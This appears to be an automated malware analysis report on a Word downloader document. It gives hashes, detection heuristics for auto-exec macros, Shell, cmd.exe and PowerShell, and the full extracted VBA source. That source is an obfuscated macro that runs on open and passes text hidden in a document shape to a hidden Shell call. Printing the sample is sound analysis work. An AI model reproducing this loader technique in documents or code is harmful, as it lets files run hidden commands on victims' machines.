Office (OLE) malware analysis — malicious · b49cc46df9285055

MALICIOUS

Office (OLE)

135.6 KB Created: 2018-12-10 21:00:00 Authoring application: Microsoft Office Word First seen: 2019-01-12

MD5: 4d3efcad0ac209d894487a43b7f5fda3 SHA-1: 740b6ae534100b3a5573e0679fb1691f7d92419d SHA-256: b49cc46df92850556e4788ce7d0e8f829dec5194bc4dfb2399da4b7fbbfafdc7

292 Risk Score

Heuristics 10

ClamAV: Doc.Downloader.Generic-6779623-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6779623-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

iNKAMNLYdTpYjFXKqPUzJVHN = spubwrsdjEpoifX
HHcnsi = Array(zfNjRmN, wsUXQ, jczuzBiVM, Shell(SYIhd, EUVJSiMwI), zzvOAkUA)
   OZFDITtdOmXqOObEWvEMEG = kYDbUmiFFmYCdqT

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Attribute VB_Customizable = True
Sub autoopen()
VzQpchHr
```
Suspicious cmd.exe invocation with execution flag high SC_STR_CMD

Suspicious cmd.exe invocation with execution flag
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2954 bytes
SHA-256: `9733566e8b1debad333ef62cb3992aeadd9a4c18abbd81969201d583965239c9`
Detection ClamAV: No threats found Obfuscation or payload: likely 112 of 137 identifiers look randomly generated (e.g. 'SVwNhKYfcnPRMOjzHvhmqhsZ') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "unsdowilFbd" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub autoopen() VzQpchHr End Sub Attribute VB_Name = "YfrqFSsYtWhm" Function VzQpchHr() On Error Resume Next YjiUzZDBmOvmCuRH = tHpNQjGLpwkRWap snSiIqBaLcifTcqiYYMmDzH = YJJcSkPnGsKGzc CFPBowarNGBswOCpvfOGwhZH = MuZaSjiwYJhovTFzRwW BzwvsUiCPPbMSl = QrjijtrNVWAQTTdUINjj soCAmVntWNFCYQ = KSPHJlcYrDOilvSzmBYX iitXEUwIuOvDzJ = zYZRPPKwYnBzDOSBAtbjkW tlnLzAzCujVUcYVOIYa = HGWoHiQbnKUiXnBYkRF oRGBisdfmBDBliRnPzD = jXPjPnzpXzdqTzlpzU PBkpmHSwtWNIkNkq = CWlruoIpXMhlsbnup WpKLWUGWjOfMfDXkZwER = oMhuSiqizkMlidFOC EKVzLPcUmwObffhKicd = EqQsldTazaSVXazGw BRRzrrQWFhEXvdllTOtdMiw = WMfsEEfbOrbLzG qjfSMEzWksRbmKz = UrShHKjfwVOzEGOOqtiChzI zoaniFEwTBaWcfAjzAUrpzSd = DkscwOXjVhTjwAsRQfCj mLsCCjdQGCVzJbULVXnCmGz = wDzbaZSPzlQZAZthuTOfz wfIVmowbwiHzVCaGjsZiWbj = PqKVsWCKaZfirwt QNXLrvHiVlGVpuYXwCFvdaiZ = wWvXwOizcSIEXPTifAHQ VjBIhpszSpfwjvYMHYWYV = cQTYmmNzaaJzbquO qZwoQlRlJZFXjRpMXQIzMFj = pKsHEwcbjOuvQQYwC HTEYwCMnQwZTflshzGtKhMwi = VXtvHsLzPzMMQMpuRjfBPj CjRSCrPuWakdiTr = EOWPnjViuDQPjQd CKsppIpqfRtUzHBJiznjp = rvwwEwjcDkfifNGlKG GjZWHfLdwmQzGuhTz = tEtKCOJoUbnDtphTioSZrQs jqnmZkwuJuRCWvdLN = KjptsbQmLtBXwcLba Set WPjdtuw = unsdowilFbd.Shapes(iznKGLZ + "wzQRwWjaAu" + JcqwM).TextFrame rDJlzBWwZVSpvkFVqaRh = qrTzmFqYqDrwTsJFOiICBjjQ GhmBivNVjBMpnLwfaiSbrcsv = cvJfuGKDAfXEXMHid qzQbSMWbAOpGiprlBAEpp = BlnjYbDWLwNtBzzBcwITFwO vbtVAQtSzJkTGYGr = uGzjGSzWSmjsSnj TaNLCsPzwSCTDTawJNSjMhoI = ziiJahVDVnzsjECrzkoQfTz ljEVwllmFQDKlnVl = QhfcFcIPsMwAsOfjSYrc SYIhd = WPjdtuw.ContainingRange + BLnPBsG + CkPlTi + CXaSOi + wFEZo + JwdRRNG + kfuCKNaZ + zizHztP + RnzjtEF YpWEAbYwhqjBMwEacHsXtU = qiDiFzNACctfcJtSvjU lUFdObGKbJEzDOfawzSwUqj = SScQjpzrYcpVYZPdsCZ XwcNdSVwNVYuohLwwqbmMNY = YJCWhpFRQmAWpOnRTwd zYaVsOaTXHjBHXkQqBoYXDKF = pbBuZIolzGBrJzamQMw SCdVnlobuZwOVw = nZZwzvQKQjYhBN HqLCFmzfGoTNqXKmWKwnMq = zHBrMmODmNISFCSsQ PnMvQOiZtPQNsRbAi = GMJTMcwruVVrDZApEUX EjqXwmJXqvwvAzbzEwbjw = UMDBLqNCNGcwUWWmUZS BwZaqGzAkIsnlfPdTwa = KnipTEcEcRbCRVYVnd UhEmzQjLZMuzRU = aCfLrEqCOMQAvprSLj zjfiYMwziBPDZIl = vINbwiiqahPkVitiQ XnvUGwvEIBwJrsK = vKwIMTBoIrzLiAHjmRl Const EUVJSiMwI = 0 ZczozWXSwhODildYTr = HctpwpUinEJwnlSMsbJVI MwGifTRaslSUvu = nDwfskNmkaSLZkzKVdDQ iNKAMNLYdTpYjFXKqPUzJVHN = spubwrsdjEpoifX HHcnsi = Array(zfNjRmN, wsUXQ, jczuzBiVM, Shell(SYIhd, EUVJSiMwI), zzvOAkUA) OZFDITtdOmXqOObEWvEMEG = kYDbUmiFFmYCdqT JfUChYNNJBujoAdjHQVfEsZ = jhREqLwNDAvjjDbLKpSSrwQ IovMVnqRGdTAGJX = DhdoFzADpJUPaGzlQMwCQlrP FhczwAWtFsdfNrmozLh = KtStArEoGOKkGwOfTWQzRo SVwNhKYfcnPRMOjzHvhmqhsZ = dHVaujYVwAXBdXiii zqiBQjYJBjCFkcZwEDCEh = rwQNMwdYDDHzvj End Function

Open this report in the interactive analyzer, or submit your own file for analysis.